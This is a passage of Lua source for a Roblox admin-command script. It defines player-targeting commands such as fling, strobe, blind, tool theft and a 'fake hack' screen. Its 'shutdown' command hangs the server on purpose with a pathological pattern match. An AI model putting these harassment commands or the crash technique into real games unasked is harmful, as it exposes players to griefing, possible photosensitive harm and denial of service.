6318 [{"nolongneck", "normalneck", "nolneck", "nolongn", "noln", "unlongneck", "unlneck", "unlongn", "unln", "shortneck"}] = {"player", "Makes player's neck normal sized", 1, "Member", true, function(Speaker, Rank, Arguments)
6319 local Players = STRING:Scan(Arguments[1], Speaker)
6320 for _,Player in pairs(Players) do
6321 if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") then
6322 Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6323 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6324 end
6325 end
6326 end};
6327
6328 [{"fling"}] = {"player", "Flings player out of the map", 1, "Member", true, function(Speaker, Rank, Arguments)
6329 local Players = STRING:Scan(Arguments[1], Speaker)
6330 for _,Player in pairs(Players) do
6331 local _,RankNum = RANK:GetRank(Player)
6332 if RankNum <= RANK:ConvertRank(Rank) then
6333 CORE:FlingPlayer(Player)
6334 end
6335 end
6336 end};
6337
6338 [{"loopfling", "lfling", "loopf", "lf"}] = {"player", "Flings player out of the map over and over", 1, "Member", true, function(Speaker, Rank, Arguments)
6339 local Players = STRING:Scan(Arguments[1], Speaker)
6340 for _,Player in pairs(Players) do
6341 local _,RankNum = RANK:GetRank(Player)
6342 if RankNum <= RANK:ConvertRank(Rank) then
6343 Flings[Player.Name] = true
6344 CORE:FlingPlayer(Player)
6345 end
6346 end
6347 end};
6348
6349 [{"noloopfling", "unloopfling", "nofling", "unfling"}] = {"player", "Stops theloop fling on player", 1, "Member", true, function(Speaker, Rank, Arguments)
6350 local Players = STRING:Scan(Arguments[1], Speaker)
6351 for _,Player in pairs(Players) do
6352 local _,RankNum = RANK:GetRank(Player)
6353 if RankNum <= RANK:ConvertRank(Rank) then
6354 Flings[Player.Name] = nil
6355 end
6356 end
6357 end};
6358
6359 [{"nuke"}] = {"player", "Nukes player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6360 local Players = STRING:Scan(Arguments[1], Speaker)
6361 for _,Player in pairs(Players) do
6362 CORE:Nuke(Player)
6363 end
6364 end};
6365
6366 [{"beep", "annoy"}] = {"player", "Plays a beep sound to player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6367 local Players = STRING:Scan(Arguments[1], Speaker)
6368 for _,Player in pairs(Players) do
6369 Beeps[Player.Name] = true
6370 SOUND:BeepPlayer(Player)
6371 end
6372 end};
6373
6374 [{"nobeep", "unbeep", "noannoy", "unannoy"}] = {"player", "Stops beeping sound on player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6375 local Players = STRING:Scan(Arguments[1], Speaker)
6376 for _,Player in pairs(Players) do
6377 if Player.PlayerGui then
6378 Beeps[Player.Name] = nil
6379 for _,Obj in pairs(Player.PlayerGui:GetChildren()) do
6380 if Obj.Name == "Annoy" then
6381 Obj:Stop()
6382 Obj:Destroy()
6383 end
6384 end
6385 end
6386 end
6387 end};
6388
6389 [{"time"}] = {"number/string", "Sets the time to number/string(Ex: 9:00, noon)", 1, "Member", false, function(Speaker, Rank, Arguments)
6390 local Time = Arguments[1]
6391 if Time == "day" or Time == "noon" then Time = "12" end
6392 if Time == "night" or Time == "midnight" then Time = "0" end
6393 if Time == "dawn" or Time == "morning" then Time = "6:15" end
6394 if Time == "dusk" or Time == "evening" then Time = "17:45" end
6395 if Time == "afternoon" then Time = "15:30" end
6396 ypcall(function() Server.Lighting.TimeOfDay = Time end)
6397 end};
6398
6399 [{"product", "buy", "purchase", "prod", "place"}] = {"player number(ID)", "Prompts player to purchase item", 2, "Member", false, function(Speaker, Rank, Arguments)
6400 local Players = STRING:Scan(Arguments[1], Speaker)
6401 for _,Player in pairs(Players) do
6402 MARKET:PromptPurchase(Player, Arguments[2], Speaker)
6403 end
6404 end};
6405
6406 [{"gear"}] = {"player ID", "Gives player the gear with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6407 local AbuseMode = false
6408 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6409 local Players = STRING:Scan(Arguments[1], Speaker)
6410 for _,Player in pairs(Players) do
6411 CORE:Insert(Arguments[2], Player.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6412 end
6413 end};
6414
6415 [{"sword"}] = {"player", "Gives player a sword", 1, "Member", false, function(Speaker, Rank, Arguments)
6416 local Players = STRING:Scan(Arguments[1], Speaker)
6417 for _,Player in pairs(Players) do
6418 CORE:Insert(125013769, Player.Backpack, true)
6419 end
6420 end};
6421
6422 [{"hat"}] = {"player ID", "Gives player the hat with the ID of ID", 2, "Member", false, function(Speaker, Rank, Arguments)
6423 local Players = STRING:Scan(Arguments[1], Speaker)
6424 for _,Player in pairs(Players) do
6425 if Player.Character then
6426 CORE:Insert(Arguments[2], Player.Character, true, {"Accoutrement"})
6427 end
6428 end
6429 end};
6430
6431 [{"flash"}] = {"", "Flashes lighting", 0, "Member", false, function(Speaker, Rank, Arguments)
6432 CORE:ResetLighting()
6433 repeat
6434 Server.Lighting.Ambient = Color3.new(1,1,1)
6435 Server.Lighting.FogColor = Color3.new(1,1,1)
6436 Server.Lighting.Brightness = 1
6437 Server.Lighting.TimeOfDay = 14
6438 wait(0.1)
6439 Server.Lighting.Ambient = Color3.new(0,0,0)
6440 Server.Lighting.FogColor = Color3.new(0,0,0)
6441 Server.Lighting.Brightness = 0
6442 Server.Lighting.TimeOfDay = 0
6443 wait(0.1)
6444 until ModLighting == false
6445 end};
6446
6447 [{"disco", "party"}] = {"", "Changes the lighting so there's a disco party", 0, "Member", false, function(Speaker, Rank, Arguments)
6448 CORE:ResetLighting()
6449 repeat
6450 local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6451 Server.Lighting.Ambient = Color
6452 Server.Lighting.FogColor = Color
6453 Server.Lighting.TimeOfDay = 0
6454 Server.Lighting.FogEnd = 500
6455 wait(0.1)
6456 until ModLighting == false
6457 end};
6458
6459 [{"countryroads", "takemehome"}] = {"", "M O U NT A I N M A M M A", 0, "Member", false, function(Speaker, Rank, Arguments)
6460 local West = Instance.new('Sound',workspace)
6461 West.Looped = true
6462 West.PlaybackSpeed = 0.765
6463 West.SoundId = "rbxassetid://2037530626"
6464 West.Volume = 1
6465 wait()
6466 West:Play()
6467 end};
6468
6469 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6470 CORE:FixLighting()
6471 end};
6472
6473 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6474 local Players = STRING:Scan(Arguments[1], Speaker)
6475 for _,Player in pairs(Players) do
6476 if Player:FindFirstChild("PlayerGui") then
6477 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6478 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6479 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6480 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6481 end
6482 end
6483 end};
6484
6485 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6486 local Players = STRING:Scan(Arguments[1], Speaker)
6487 for _,Player in pairs(Players) do
6488 if Player:FindFirstChild("PlayerGui") then
6489 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6490 end
6491 end
6492 end};
6493
6494 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6495 local Players = STRING:Scan(Arguments[1], Speaker)
6496 for _,Player in pairs(Players) do
6497 if Player:FindFirstChild("PlayerGui") then
6498 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6499 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6500 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6501 end
6502 end
6503 end};
6504
6505 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6506 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6507 if Suc then
6508 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6509 else
6510 Server.TS:Teleport(game.PlaceId, Speaker)
6511 end
6512 end};
6513
6514 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6515 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6516 end};
6517
6518 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6519 local NewAbuse = Arguments[1]
6520 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6521 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6522 end
6523
6524 local Match = false
6525 for _,AbuseCmd in pairs(Settings.AbuseList) do
6526 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6527 Match = true
6528 break
6529 end
6530 end
6531 if not Match then
6532 table.insert(Settings.AbuseList, NewAbuse)
6533 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6534 else
6535 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6536 end
6537 CORE:SetAbuseCommands()
6538 end};
6539
6540 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6541 local NewAbuse = Arguments[1]
6542 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6543 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6544 end
6545
6546 local Removed = false
6547 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6548 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6549 Removed = true
6550 table.remove(Settings.AbuseList, Num)
6551 end
6552 end
6553 if Removed then
6554 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6555 else
6556 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6557 end
6558 CORE:SetAbuseCommands()
6559 end};
6560
6561 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6562 local Players = STRING:Scan(Arguments[1], Speaker)
6563 for _,Player in pairs(Players) do
6564 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6565 Player.Character.Humanoid.MaxHealth = math.huge
6566 Player.Character.Humanoid.Health = math.huge
6567 end
6568 end
6569 end};
6570
6571 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6572 local Players = STRING:Scan(Arguments[1], Speaker)
6573 for _,Player in pairs(Players) do
6574 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6575 if Player.Character.Humanoid.MaxHealth == math.huge then
6576 Player.Character.Humanoid.MaxHealth = 100
6577 Player.Character.Humanoid.Health = 100
6578 else
6579 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6580 end
6581 end
6582 end
6583 end};
6584
6585 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6586 local Players = STRING:Scan(Arguments[1], Speaker)
6587 for _,Player in pairs(Players) do
6588 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6589 local Char = Player.Character
6590 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6591 end
6592 end
6593 end};
6594
6595 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6596 if tonumber(Arguments[2]) then
6597 local Players = STRING:Scan(Arguments[1], Speaker)
6598 for _,Player in pairs(Players) do
6599 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6600 Player.Character.Humanoid.Health = Arguments[2]
6601 end
6602 end
6603 end
6604 end};
6605
6606 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6607 if tonumber(Arguments[2]) then
6608 local Players = STRING:Scan(Arguments[1], Speaker)
6609 for _,Player in pairs(Players) do
6610 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6611 local Speed = tonumber(Arguments[2])
6612 if Speed then
6613 if Rank == "Member" then
6614 if Speed > 1000 then Speed = 1000
6615 elseif Speed < -1000 then Speed = -1000 end
6616 end
6617 Player.Character.Humanoid.WalkSpeed = Speed
6618 end
6619 end
6620 end
6621 end
6622 end};
6623
6624 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6625 if tonumber(Arguments[2]) then
6626 local Players = STRING:Scan(Arguments[1], Speaker)
6627 for _,Player in pairs(Players) do
6628 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6629 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6630 end
6631 end
6632 end
6633 end};
6634
6635 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6636 local Players = STRING:Scan(Arguments[1], Speaker)
6637 for _,Player in pairs(Players) do
6638 CORE:Fly(Player, 10000)
6639 end
6640 end};
6641
6642 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6643 local Players = STRING:Scan(Arguments[1], Speaker)
6644 for _,Player in pairs(Players) do
6645 CORE:Fly(Player, 1000000)
6646 end
6647 end};
6648
6649 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6650 local Players = STRING:Scan(Arguments[1], Speaker)
6651 for _,Player in pairs(Players) do
6652 if Player.Character then
6653 if Player.Character:FindFirstChild("StopMMLFly") then
6654 Player.Character.StopMMLFly:InvokeClient(Player)
6655 end
6656 end
6657 end
6658 end};
6659
6660 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6661 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages
6662 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6663 end};
6664
6665 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6666 local Players = STRING:Scan(Arguments[1], Speaker)
6667 for _,Player in pairs(Players) do
6668 CORE:GiveTools(Player, Arguments[2])
6669 end
6670 end};
6671
6672 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6673 local List = {}
6674 for _,Region in pairs(ToolRegions) do
6675 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6676 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6677 end)
6678 end
6679
6680 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6681 end};
6682
6683 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6684 local Players = STRING:Scan(Arguments[1], Speaker)
6685 for _,Player in pairs(Players) do
6686 CORE:GiveTools(Player, "btools")
6687 end
6688 end};
6689
6690 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6691 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6692 for _,Player in pairs(Server.Players:GetPlayers()) do
6693 Player:Kick()
6694 end
6695 Server.Workspace:ClearAllChildren()
6696 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6697 end};
6698
6699 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6700 local Players = STRING:Scan(Arguments[1], Speaker)
6701 for _,Player in pairs(Players) do
6702 CORE:Scale(Player, Arguments[2])
6703 end
6704 end};
6705
6706 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6707 local Players = STRING:Scan(Arguments[1], Speaker)
6708 for _,Player in pairs(Players) do
6709 CORE:Scale(Player, 50)
6710 end
6711 end};
6712
6713 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6714 local Players = STRING:Scan(Arguments[1], Speaker)
6715 for _,Player in pairs(Players) do
6716 CORE:Scale(Player, 70)
6717 end
6718 end, Hidden = true};
6719
6720 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6721 local Players = STRING:Scan(Arguments[1], Speaker)
6722 for _,Player in pairs(Players) do
6723 CORE:Scale(Player, 500)
6724 end
6725 end};
6726
6727 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6728 local Players = STRING:Scan(Arguments[1], Speaker)
6729 for _,Player in pairs(Players) do
6730 if Player.Character then
6731 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6732 Obj.Reflectance = 0.5
6733 Obj.BrickColor = BrickColor.new("New Yeller")
6734 end)
6735 end
6736 end
6737 end};
6738
6739 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6740 local Players = STRING:Scan(Arguments[1], Speaker)
6741 for _,Player in pairs(Players) do
6742 if Player.Character then
6743 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6744 Obj.Reflectance = 0.5
6745 end)
6746 end
6747 end
6748 end};
6749
6750 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6751 local Players = STRING:Scan(Arguments[1], Speaker)
6752 for _,Player in pairs(Players) do
6753 if Player.Character then
6754 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6755 Obj.Transparency = 0.5
6756 Obj.Reflectance = 0
6757 Obj.BrickColor = BrickColor.new("Institutional white")
6758 end)
6759 CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj)
6760 Obj.Transparency = 0.5
6761 end)
6762 end
6763 end
6764 end};
6765
6766 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6767 local Players = STRING:Scan(Arguments[1], Speaker)
6768 for _,Player in pairs(Players) do
6769 if Player.Character then
6770 for _,Obj in pairs(Player.Character:GetChildren()) do
6771 local Valid = false
6772 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6773 if Valid == true then Obj:Destroy() end
6774 end
6775 end
6776 end
6777 end};
6778
6779 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6780 local Players = STRING:Scan(Arguments[1], Speaker)
6781 for _,Player in pairs(Players) do
6782 if Player.Character then
6783 for _,Obj in pairs(Player.Character:GetChildren()) do
6784 local Valid = false
6785 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6786 if Valid == true then Obj:Destroy() end
6787 end
6788 end
6789 end
6790 end};
6791
6792 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6793 local Players = STRING:Scan(Arguments[1], Speaker)
6794 for _,Player in pairs(Players) do
6795 if Player.Character then
6796 for _,Obj in pairs(Player.Character:GetChildren()) do
6797 local Valid = false
6798 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6799 if Valid == true then Obj:Destroy() end
6800 end
6801 end
6802 end
6803 end};
6804
6805 [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6806 local Players = STRING:Scan(Arguments[1], Speaker)
6807 for _,Player in pairs(Players) do
6808 if Player.Character then
6809 for _,Obj in pairs(Player.Character:GetChildren()) do
6810 if Obj:IsA("Hat") then
6811 Obj:Destroy()
6812 end
6813 end
6814 end
6815 end
6816 end};
6817
6818 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6819 local Players = STRING:Scan(Arguments[1], Speaker)
6820 for _,Player in pairs(Players) do
6821 Player:ClearCharacterAppearance()
6822 end
6823 end};
6824
6825 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6826 local Players = Server.Data:GetDataStore("Country Roads Admin"):GetAsync("Players")
6827 local TmpPlayers = {}
6828 local Output = {}
6829 for _,Data in pairs(Players) do
6830 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
6831 end
6832 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
6833 end};
6834
6835 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
6836 Server.Data:GetDataStore("Country Roads Admin"):SetAsync("Players", {})
6837 GUI:SendHint(Speaker, "Player Database cleared", 5)
6838 end};
6839
6840 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
6841 local Players = STRING:Scan(Arguments[1], Speaker)
6842 for _,Player in pairs(Players) do
6843 GUI:FakeHack(Player)
6844 end
6845 end};
6846
6847 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6848 local Players = STRING:Scan(Arguments[1], Speaker)
6849 for _,Player in pairs(Players) do
6850 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6851 for _,Object in pairs(Player.Backpack:GetChildren()) do
6852 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6853 local Clone = Object:Clone()
6854 Clone.Parent = Speaker.Backpack
6855 end
6856 end
6857 end
6858 end
6859 end};
6860
6861 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6862 local Players = STRING:Scan(Arguments[1], Speaker)
6863 for _,Player in pairs(Players) do
6864 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6865 for _,Object in pairs(Player.Backpack:GetChildren()) do
6866 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6867 Object.Parent = Speaker.Backpack
6868 end
6869 end
6870 end
6871 end
6872 end};
6873
6874 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
6875 local Players = STRING:Scan(Arguments[1], Speaker)
6876 for _,Player in pairs(Players) do
6877 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6878 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
6879 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6880 local Clone = Object:Clone()
6881 Clone.Parent = Player.Backpack
6882 end
6883 end
6884 end
6885 end
6886 end};
6887
6888 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
6889 local Players = STRING:Scan(Arguments[1], Speaker)
6890 for _,Player in pairs(Players) do
6891 if Player:FindFirstChild("Backpack") then
6892 Player.Backpack:ClearAllChildren()
6893 end
6894 if Player.Character ~= nil then
6895 for _,Obj in pairs(Player.Character:GetChildren()) do
6896 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
6897 Obj:Destroy()
6898 end
6899 end
6900 end
6901 end
6902 end};
6903
6904 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
6905 local Players = STRING:Scan(Arguments[1], Speaker)
6906 for _,Player in pairs(Players) do
6907 if Player.Character then
6908 if Player.Character:FindFirstChild("Head") then
6909 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
6910 coroutine.wrap(function()
6911 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6912 local OldFace = Player.Character.Head.face.Texture
6913 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
6914 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
6915 Player.Character.Head.face.Texture = "rbxassetid://24067663"
6916 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
6917 Sound:Play()
6918 coroutine.wrap(function() for i = 1,100 do wait()
6919 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
6920 coroutine.wrap(function() wait(3) Part:Destroy() end)()
6921 end
6922 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
6923 end end
6924 end)()
6925 end
6926 end
6927 end
6928 end
6929 end};
6930
6931 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
6932 local Players = STRING:Scan(Arguments[1], Speaker)
6933 for _,Player in pairs(Players) do
6934 if Player.Character then
6935 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
6936 coroutine.wrap(function()
6937 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6938 local OldFace = Player.Character.Head.face.Texture
6939 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
6940 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
6941 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
6942 Player.Character.Head.face.Texture = "rbxassetid://28118994"
6943 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
6944 Sound:Play()
6945 wait(1)
6946 Smoke.Enabled = false
6947 wait(1)
6948 Fart:Destroy()
6949 Fart:Destroy()
6950 Player.Character.Head.face.Texture = OldFace
6951 end end
6952 end)()
6953 end
6954 end
6955 end
6956 end};
6957
6958 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
6959 local Players = STRING:Scan(Arguments[1], Speaker)
6960 for _,Player in pairs(Players) do
6961 if Player:FindFirstChild("Backpack") then
6962 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
6963 end
6964 end
6965 end};
6966
6967 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
6968 local Players = STRING:Scan(Arguments[1], Speaker)
6969 for _,Player in pairs(Players) do
6970 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
6971 Player.Character.MMLGraffiti:ClearAllChildren()
6972 end
6973 end
6974 end};
6975
6976 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
6977 local Players = STRING:Scan(Arguments[1], Speaker)
6978 for _,Player in pairs(Players) do
6979 if Player.Character and Player.Character:FindFirstChild("Torso") then
6980 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
